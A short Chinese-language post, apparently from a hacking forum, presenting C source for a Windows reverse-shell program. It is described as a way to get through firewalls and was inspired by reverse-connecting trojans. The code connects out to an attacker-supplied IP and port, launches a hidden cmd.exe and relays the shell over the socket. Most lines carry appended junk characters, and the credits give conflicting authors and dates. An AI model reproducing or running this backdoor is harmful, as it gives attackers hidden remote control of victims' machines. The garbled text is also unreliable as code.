这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _ct18nh9
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/* ============================== +{qX,
Rebound port in Windows NT .<0s?Q
By wind,2006/7 s8/sH];
===============================*/ ,KM-DCwcG
#include `oDs]90
#include XAn{xNpz
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#pragma comment(lib,"wsock32.lib") Awip qDAu
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void OutputShell(); U',.'"m
SOCKET sClient; j@j%)CCM
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; mKsTA;
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void main(int argc,char **argv) F"#8`Ps>
{ W(C\lSE0
WSADATA stWsaData; *%{
int nRet; 3!+N}[$iy
SOCKADDR_IN stSaiClient,stSaiServer; QNGICG-
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if(argc != 3) #/UlW
{ m|7lDfpb
printf("Useage:\n\rRebound DestIP DestPort\n"); # 1S*}Q<k
return; DE0gd
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} nb
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WSAStartup(MAKEWORD(2,2),&stWsaData); ,>:
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yq?7!X
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stSaiClient.sin_family = AF_INET; oj8_e xx
stSaiClient.sin_port = htons(0); Sxj _gn
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ca&p;K9FR
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ]m>N!Iu
{ zW,Nv>Ac5
printf("Bind Socket Failed!\n"); %(9BWO
return; wFgL\[$^|
} SP&Y|I$:
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stSaiServer.sin_family = AF_INET; qrWeV8ur+
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Z5oX "Yx
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .U66Uet>RX
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ZL0':7
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printf("Connect Error!"); E(0(q#n
return; OG M9e!
} kpe7\nd=>
OutputShell(); P3due|4M
} ;AFF7N>&
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void OutputShell() f;Iaf#V_
{ H-*"%SJ
char szBuff[1024]; 0Hs\q!5Q
SECURITY_ATTRIBUTES stSecurityAttributes; #rE#lHo
OSVERSIONINFO stOsversionInfo; DeMF<)#
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <])w@QOA#
STARTUPINFO stStartupInfo; ,%|$#
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char *szShell; r N"P
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PROCESS_INFORMATION stProcessInformation; E^RPK{zO
unsigned long lBytesRead; :HJ@/s!J
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); :sMc}k?9S
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); # j=r
stSecurityAttributes.lpSecurityDescriptor = 0; q ;@:,^
stSecurityAttributes.bInheritHandle = TRUE; k 5<[N2D|!
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); qep<7 QO
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); j3!]wolY
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); AYC22(
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !kPZuU`T
stStartupInfo.wShowWindow = SW_HIDE;
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stStartupInfo.hStdInput = hReadPipe; ' O\me
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; R*C
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GetVersionEx(&stOsversionInfo); 6.%V"l
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switch(stOsversionInfo.dwPlatformId) Jb~nu
{ m[@7!.0=
case 1: Rwy<#9R[x
szShell = "command.com"; UE3#(:xA
break; Dn[iA~
default: 9Q!X~L|\S
szShell = "cmd.exe"; oNgu-&
break; gFsnL*L0
} 8gA:s`ofJ
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); IT`r&;5
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send(sClient,szMsg,77,0); nUAs:Q
while(1) c'9-SY1'~
{ HMUn+kk+
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @ =RH_NB
if(lBytesRead) =5JTVF
{ Jy,Dcl
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); G1Qc\mp
send(sClient,szBuff,lBytesRead,0); IZ2c<B5&
} R+c
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else 6j]pJ]F6
{ W^c> (d</
lBytesRead=recv(sClient,szBuff,1024,0); >5i(U_`l
if(lBytesRead<=0) break; c8o$WyO
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); }tH$/-qnJE
} +OUYQM mM
} [WOLUb
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return; a\wpJ|3{=T
}